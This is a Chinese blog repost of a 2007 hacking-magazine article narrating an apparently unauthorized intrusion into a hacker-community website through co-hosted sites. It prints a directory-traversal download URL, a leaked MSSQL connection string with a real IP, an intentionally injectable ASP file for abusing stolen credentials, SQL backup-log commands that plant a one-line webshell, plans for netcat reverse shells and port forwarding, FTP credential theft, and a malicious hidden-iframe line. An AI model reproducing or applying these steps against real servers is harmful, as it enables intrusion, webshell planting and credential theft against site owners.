对黑客风云网站的一次渗透经过

    [晴 October 21, 2007 00:42 | by ]
文章已发表黑客X档案2007年11期 转载请著名
文章作者:小志& 伤心的鱼[SST]
最近无聊的要命每天都无聊的过日子,正好这天无意中逛到了黑客风云的论坛。想想当初自己也在这做斑竹学技术呢,呵呵,既然没什么事,就免费的给他们做下检测吧(小编注:貌似有那么一点‘恩将仇报’的感觉)。于是乎拉上小志操起啊D,就准备战斗了……

首先打开百度搜索“site:05112.com”,我的习惯是渗透一个站之前总喜欢看看这个站的信息。大概找到54000多条信息,看了下风云主站全是HTML的连接,论坛用的是PHPWind,貌似俺也没有PHPWind的0day。另外像这种黑客站点肯定不会有什么注入上传之类的。虽然知道他后台用的是动易系统,直接在地址后加上admin/admin_login.asp,可惜还需要多加一个验证就是动易多出的管理员验证。后来才知道这个后台是假的,真正的后台隐藏的很深。既然主站论坛都不能下手那就旁注一下,我记的以前风云是跟别人合租的服务器,服务器上肯定会有别的站点的。不看不知道,一看下一跳,服务器上的站还真是够多,如图1。

Highslide JS


既然这么多站那机会就大了,首先就是找有注射漏洞的网站。我用明小子批量检测的功能跑了一圈没发现一个站可以注入,但是我发现了一个动网的论坛。过程比较顺利,下载默认数据库data/dvbbs7.mdb,然后直接跑出密码直接登录了前台。兴冲冲的正准备登录后台拿Webshell呢,但是发现有点不对劲,一进入到后台页面,IE马上就卡死,开了四次都卡在那不动了。后来看了下登录页面的源文件,发现了四个如下的代码
<iframe src=http://www.xxx.mouth.cn/1.htm width=0 height=0></iframe>
不知道哪位仁兄已经挂了N个马了。只要一访问IE立刻就卡死,我冒着中马的危险又试了五六次,还是不能进入后台。郁闷死,看来只能另寻出路了……

无奈之下唯有继续找找服务器上的站,后来发现有个站用的新云系统。是个分站,很老的版本了。转了一下没发现什么注射点。后来想到了新云的那个任意文件下载漏洞,想想是不是能用新云的这个漏洞来下载conn.asp。看看数据库连接文件,找到数据库地址下个数据库也不错,就可以直接拿到密码进后台了。新云的后台还是很好拿Webshell的,嘿嘿。下面我们就直接构造一个URL http://XXXX.com/flash/downfile.asp?url=uploadfile/../../conn.asp,这里我就简单说下使用方法,不懂的朋友可以百度一下,有非常详细的资料哦。这个漏洞当时也是轰动一时的,实验证明我的人品那真是没话说,直接down下了conn.asp。因为这是个分站,所以咱还是要看看主站是啥样子。明人一眼就能瞧出主站用的动易的系统,直接在URL后面加admin/admin_login.asp就跳出了动易的登录后台,用了默认的用户名密码admin,admin888都不行,默认数据库也是不行。虽然用的是2005版的系统,但用了几个以前动易的漏洞都不成功。看情况是管理员打了补丁。只有从那个新云的系统下手了,在conn.asp里找出数据库地址,发现是asp后缀的。能不能通过新云的任意文件下载漏洞来下载主站的数据库连接文件呢?说做就做,想是没用的,直接试试就知道了。直接把目录跳到上一级试试,在URL后面添加uploadfile/../../../conn.asp回车提交,出来了,如图2。哈哈,看来最近运气不错,真要去买彩票了。

图2

Highslide JS


打开conn.asp顿时傻眼了,竟然是MSSQL权限的数据库!conn.asp代码如下:

<%
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "PROVIDER=SQLOLEDB;DATA SOURCE=60.190.168.37;UID=aXXXXX;pwd=XXXX;DATABASE=XXXX"
%>

我隐藏掉了真实的用户跟密码。既然是MSSQL那还等什么,即使是public也有权限列目录了。这里我说下怎么利用这个MSSQL的用户名和密码。首先我们构造一个有注射漏洞的文件sql.asp,代码如下:


<%
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL ="select * from PE_GuestBook where GuestID=" &amp; id
rs.open strSQL,conn,1,3
rs.close
%>

这里我们可以看到,直接用request("id") 取值没有过滤就构成了注入漏洞。我们在最前面加上,就是这个文件包含了conn.asp,把这两个文件放在同一目录下。这里我在本机架设放在WEB目录下,用NBSI检测一下,地址为http://127.0.0.1/sql.asp?id=1。因为sql.asp明显有注射漏洞,再包含conn.asp,所以一检测就有注射点了,如图3。

图3

Highslide JS


注入权限为DB_OWNER,没想到今天运气这么好。接连碰到好事,马上用NBSI的列目录功能寻找WEB目录。这一找可就找了近一个小时!最后终于确定了黑客风云网站目录:E:\xxxxx\xinlianhacker\web,如图4。

图4

Highslide JS


既然找到了WEB目录,心想能不能直接用DB权限备份个马上去。要是真这样这黑客风云也太脆弱了,不会这么快就被偶搞下来了吧。因为我不习惯用工具备份,干脆直接用查询分析器连接那密码,执行SQL语句 ●alert darabase 591swdata set recovery full●(这个语句的意思是把当前库设置为完全恢复模式) 但是没想到问题又来了,执行语句居然出错呢!难道不能设置为完全恢复模型?执行别的语句看看●create table cmd (a img)●,正常的啊。再执行●backup log 591swdata to disk ='D"\cmd' with init●(这个语句的意思是把日志备份到D盘,如果大家对这些语句不清楚的话可以翻翻以前的黑X都有介绍的)一执行怎么又是错误,如图5。后来发现,只要语句中出现当前数据名,就会出现错误。转换语句也不行,郁闷!

图5

Highslide JS


这回郁闷了,目录列出来了,用户名也知道了,竟然到这里过不去了!在网上翻了N久的资料也没找到原因。大家都知道,要备份数据库拿Webshell,一定要出现库名才行。SQL server是不支持备份单个表的。在网上查了一翻资料才知道BCP可以备份单个表。但是,备份的过程中一出现了库名,同时也暴错。哎,遇到DB都这样。难道刚才那么好的RP这回又不爆发了……继续想想别的办法,刚才在旁注的时候。发现有个动网论坛被挂马了,不过进不去后台,一时间不知道该怎么办了。无聊的在那里列目录,列了半天发现了那个被挂马的动网论坛有几个奇怪的ASP文件:1.asp、wo.asp、fuck.asp。这样的文件一看就是入侵者以前留下的,访问1.asp跟fuck.asp发现都是大马,不过没密码咱也进不去啊。打开wo.asp的时候我终于发现了一个小马!有人给我打开了方便之门,把小马光溜溜的丢在那,估计是他在动网备份数据库的时候搞的,传完大马以后忘记删了,大家以后一定要引以为戒啊!

图6

Highslide JS


既然有小马了那就马上传个大马上去,看看Webshell的权限怎么样。传个大马上去后发现权限小的可怜。只能在这个站的WEB目录浏览,不过还有一点挺安慰的就是wscript.shell没删。起码有希望可以执行CMD,虽然不能加用户,但是起码执行个netstat -an查看端口还是可以的。对于收集服务器信息提权很有帮助。上传个cmd.exe到WEB目录,因为服务器本身的cmd.exe在Webshell里是没有执行权限的,所以我们要自己上传一个。执行下命令瞧瞧,首先执行netstat -an,发现管理员把终端端口改成了16837,如图7。然后再执行net user的时候,竟然没反应!应该是被管理员给禁用掉了,我们再执行net1 user看看,这回成功了。原来管理员只是禁止了net.exe,没禁止net1.exe。发现用户还是蛮多的,典型的虚拟机配置。

图7

Highslide JS


我在本地FTP上去,发现这个服务器竟然使用的是Serv-U 6.0版本的,如图8。提权成功率应该很高的。试了下Serv-U提权,没成功,意料之中。看情况管理员设置了本地密码,想想只有找Serv-U路径,再想其它法了。但是在Webshell里没有一点跳目录的权限,所以也根本找不到Serv-U的路径,唯一指望提权的东西也破灭了。

图8

Highslide JS


这里大家可能看到服务器有ASPNET用户,所以肯定有可能会支持ASPX,那为何不丢个ASPX的马上去呢,默认下可比ASP的权限高哦。事实确实如此,但是也有例外的时候,管理员在web.config里将customerrors mode属性设置为了“off”,所以不管你丢什么样的ASPX木马上去,都无法正常解析,如图9。当然将customerrors mode设置成“on”就可以正常解析了。所以对于ASPX我们也没法下手了。

图9

Highslide JS


初看一下,服务器支持ASP、ASPX、PHP,但PHP是在IIS平台下的,权限也是小得可怜的。不过要是在Apache平台下的,那就有希望了。因为一般PHP在Apache平台是系统权限,但是在IIS平台下就要利用MySQL了!但MySQL默认下是以系统权限安装的,要是找到my.ini提权也不错。可惜找了N久也没找着。我想服务器里既然都有黑客站,安全性肯定不会太差的。不会把my.ini摆在那给你瞧的地方,而且对方以前就是维护服务器的,想必设置服务器一定很BT。事实证明确实很BT,IIS用户都是分开设置的,将各站的权限分开管理。

难道没有其它的办法了么?权限设置了的很死,当然是不能跳转到服务器的其它WEB目录了。管理员每个网站都设置了IIS独立用户,没有设置的话,知道其它WEB目录的路径,还是可以跳过去的。之后又利用本地的注射点继续列目录,想看看能不能找到一些可以访问的目录。发现服务器上装了FlashFXP,在D盘,可以访问到。既然有FlashFXP,说明我们还是有一线希望的,直接下载quick.dat、Sites.dat、Stats.dat这三个文件到本地替换掉本地的这三个文件,然后打开自己的FlashFXP,站点管理器里有快速连接,我们会发现多了很多链接地址,当时真是一阵狂喜。但是虽然里面FTP还是蛮多的,但一个都登陆不了,不知道这是不是管理员故意放水来诱惑咱们的?

既然这样那就不管了,继续找找他Serv-U目录,看看能不能用Webshell跳转,列到D盘,发现个超级BT的目录servfadsflf@#@I,莫非这就是传说中的Serv-U目录了?目录名设置的真变态!没想到管理员把目录名设置得这么复杂。放在Webshell里,试跳一下,不跳不知道,整个无语了。根本不能访问Serv-U的目录 那又何必把目录名改成那么BT?继续找比较有可能利用的目录,大家知道MySQL的安装目录有个user.MYD文件,里面存储了mysql.user表中的数据库连接密码。不一会的功夫,列目录找着了mysql的安装目录,并找着了那文件,没想和Serv-U一样在Webshell里都不能浏览。然后继续又找了N个有可能利用的目录,但是在Webshell里都不能浏览,只有FlashFXP那个目录可以浏览,却没有利用价值。可能有的人会说把里面一些FTP的密码搞出来,利用社会工程学试试,当时偶也跟大家一样。用星号查看器搞密码搞出来,把密码随便组合了N个,登陆服务器的终端,结果都不行,最后实在没有信心再搞下去了(小编注:此人耐心不足啊!)。看来拿到服务器的机会小之又小了,手上没什么本地溢出的EXP,有的话倒是可以试一试。神啊,赏我个0day吧……因为我们要拿的是拿目标站,只要拿到站,没拿到服务器也一样。既然现在提权不行。先把目标站的FTP搞到手再说。传个NC到Webshell上去,反弹个shell,然后用htran转发端口数据,接着在本地嗅探。这个方法貌似不错,但是发现C:\windows\system32\inetsrv不可写C:\windows\system32\inetsrv\ASP Compiled Templates可写。当然c:\windows\temp 也是可写的,
C:\Documents and Settings\All Users下的目录不用说了,都没个浏览的权限,更何况写进去呢。然后我在本地监听了个端口,在Webshell里面执行反弹,但是等了N久都没反应。看来可能是没有执行的权限。其它目录都传上NC,然后执行,发现都没有执行的权限,Webshell都反弹不回(小编注:反弹不回来极有可能与防火墙有关哦)……哎,这人品一会好一会坏真是受不了啊,没找着什么可执行的目录了。网上的资料说是可以的,2000下倒是成功过一次,但我在2003下从来没成功过!想想都到了这份上了,难道真的要放弃?整理下思路,重新来,渗透本来就是一个漫长艰辛的过程(小编注:思想开始觉悟了)

现在回想起来,好像就只有那个DB权限的MSSQL帐号可以利用了。想想,语句只要出现当前库就不行。那我不用语句执行,还不可以吗?在查询分析器里,新建个表,然后插入十六进制的一句话木马。当然不转换也是可以的,只是我习惯转换为十六进制进行备份(小编注:不转也可以的话岂不是多此一举?)。进入企业管理器,然后点右键“所有任务”备份数据库就OK了,如图10、图11。

图10


Highslide JS


Highslide JS



现在备份完成了,我们访问瞧瞧。“处理URL出错 请于管理员联系”!可能是数据库太大了,备份成其它形式的文件了,来看看备份的文件有多大,如图12。

Highslide JS


晕了,都31.53M,难怪会URL出错了!为什么执行●alter database 591swdata set RECOVERY FULL●这语句不行呢。591附近有错误,难道SQL库名不能以数字开头么?不可能啊!要是如果把591swdata当做一个对象来处理呢,用[] 括起来呢?来试下就知道了,执行●alter database [591swdata] set RECOVERY FULL●哈哈,终于可以了,SQL命令执行成功了,如图13。搞了半天,原来这样,汗一个。继续执行,先把Webshell搞到手再说,执行●backup log [591swdata] to dist='E:\freehost\xinlianhacker\web\admin\xiaozhi.asp'●
成功执行SQL命令,如图14。因为开始备份的的库太大,无法访问,如果大家遇到这情况的话。就可以直接把日志清除了掉,然后再备份就可以了,如图15。那样备份出来的只有200多K。

图13
图14
图15

Highslide JS


Highslide JS


Highslide JS


既然备份成功那就访问一下偶们的一句话木马,哈哈,看到了吧,Webshell就这样拿到了,如图16。

图16

Highslide JS


下面要做什么?哈哈,当然传大马呗。后来进到Webshell才发现他权限设置的确实很牛X,主站的权限竟然不能访问论坛目录。net1 user一瞧,发现论坛也设置了独立用户!后来我只能再一次备份一个一句话木马到论坛去,才算把论坛的权限也控制了。因为风云论坛是PHPWind的,所以俺轻松的搞到了连接文件 修改了后台密码,进了后台瞧瞧了,顺便给自已加个管理员,如图17。次事过后三天之内N个人来找我要PW0day 哈哈 其实根本没有的

图17

Highslide JS



最后总结一下:
此次渗透没用到什么新的技术,但却千辛万苦,总共用了一天半的时间,几乎所有可以提权的方法都用遍了。从一点点的不明白,到最后的成功,可谓是非常的艰辛。虽然最后还是没能拿到服务器,但是能成功的控制主站跟论坛已经是很不容易了,拿到以后我跟风云的站长怪人说了一下,并帮他把漏洞都补好了。其实黑客站点一样存在漏洞,只要我们敢做,敢于去检测黑客站点。网络没有绝对的安全!
Tags: ,
Technology | Comments(0) | Trackbacks(0) | Reads(7839)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive